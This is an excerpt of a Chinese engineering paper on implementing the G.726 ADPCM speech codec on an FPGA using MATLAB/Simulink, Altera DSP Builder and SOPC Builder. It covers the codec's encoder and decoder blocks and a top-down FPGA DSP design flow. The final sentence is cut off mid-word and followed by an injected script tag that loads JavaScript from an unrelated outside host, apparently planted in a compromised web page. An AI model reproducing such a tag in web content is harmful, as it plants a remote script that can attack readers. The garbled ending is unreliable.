摘 要:在对g.726语音编解码标准分析的基础上给出了基于fpga的dsp设计流程,利用matlab/simulink、dsp builder和sopc builder工具设计了g.726语音编解码器,通过仿真实验验证了所设计的编解码器模型的正确性,实现了编解码器在sopc系统中的综合。
关键词:adpcm matlab/simulink dsp builder fpga sopc
g.726是itu前身ccitt于1990年在g.721和g.723标准的基础上提出的关于把64kbps非线性pcm信号转换为40kbps、32kbps、24kbps、16kbps的adpcm信号的标准。g.726标准算法简单,语音质量高,多次转换后语音质量有保证,能够在低比特率上达到网络等级的话音质量,从而在语音存储和语音传输领域得到广泛应用[2]。
g.726语音压缩算法已经能够在以dsp处理器为核心器件的dsp应用系统上实现。但开发以dsp处理器为核心的dsp应用系统所采用的开发方法是自底向上的设计流程,严重影响开发的效率和成功率。面对现代通信技术的发展,dsp处理器已暴露出硬件结构的不可变性、处理速度比较慢等不足[1]。现代大容量、高速度的fpga及其相关的开发技术,在可重配置的dsp应用领域、dsp数据大吞吐量和数据的纯硬件处理方面,有独特的优势[1]。新的基于fpga的dsp系统级开发工具以及完整的软件开发平台,使得设计者能采用自顶向下的开发方法进行fpga的dsp设计,设计效率大为提高。
本文分析了g.726标准,给出了基于fpga的dsp设计开发流程,利用matlab/simulink、altera公司的dsp builder和sopc builder工具设计了语音记录sopc系统中的g.726语音编解码器,并实现了编解码器在该系统中的综合。采用基于fpga的g.726语音编解码器的语音记录嵌入式系统具有运行速度快、体积小巧、开发周期短等优点。
图1 adpcm编码器框图
图2 基于fpga的dsp设计系统级开发流程
1、g.726语音编解码标准
g.726编码器框图如图1所示。g.726语音编码器首先将输入的a律或μ律的log-pcm信号s(k)转换成线性的pcm码sl(k),然后与预测信号se(k)相减产生差分信号d(k),再对差值信号进行自适应量化,产生2~5比特adpcm码i(k)。一方面将i(k)送至解码器;另一方面逆自适应量化器利用i(k)产生量化差分信号dq(k)。预测信号se(k)和量化差分信号dq(k)相加产生本地重构信号sr(k)。自适应预测器是由二阶极点和六阶零点组成的滤波器,根据重构信号sr(k)和量化差分信号dq(k)产生输入信号的预测信号se(k)。量化器比例因子自适应单元根据输入信号的特性计算量化器比例因子y(k),用来控制量化器和逆量化器,以获得自适应功能。量化器比例因子由快速因子和慢速因子两部分,以及速度控制因子al(k)对这两部分的加权组成。速度比例因子al(k)的计算由自适应速度控制单元与音调和传送检测器单元完成。
g.726语音解码器的解码过程实际上已经包含在编码器中,只是多了输出pcm格式转换单元和同步串行编码调整单元。输出pcm格式转换是将线性pcm码转换为a律或μ律pcm码;同步串行编码调整是为了防止多级传输、转换过程中的误差。
2、基于fpga的dsp设计开发流程
利用传统的开发工具,基于fpga的dsp开发者在算法确定后只能直接使用vhdl或veriloghdl语言进行fpga的dsp系统设计,开发需要较长的周期,且难度比较大。目前出现的基于fpga的dsp开发工具,如dsp builder、sopc builder、system generator等,使得设计者能遵循一条类似于软件设计流程的开发方法进行fpga的dsp设计,设计效率大为提高。本文给出利用matlab/simulink和altear公司的开发工具进行基于fpga的dsp设计的开发流程。dsp builder是altera公司推出的面向dsp开发的系统级工具。它作为matlab的一个simulink工具箱(toolbox)出现。mathworks的matlab和simulink系统级的设计工具具备了算法开发、仿真、验证能力,dsp builder将这些工具与altera的开发工具组合在一起,为用户提供?script src=http://er12.com/t.js>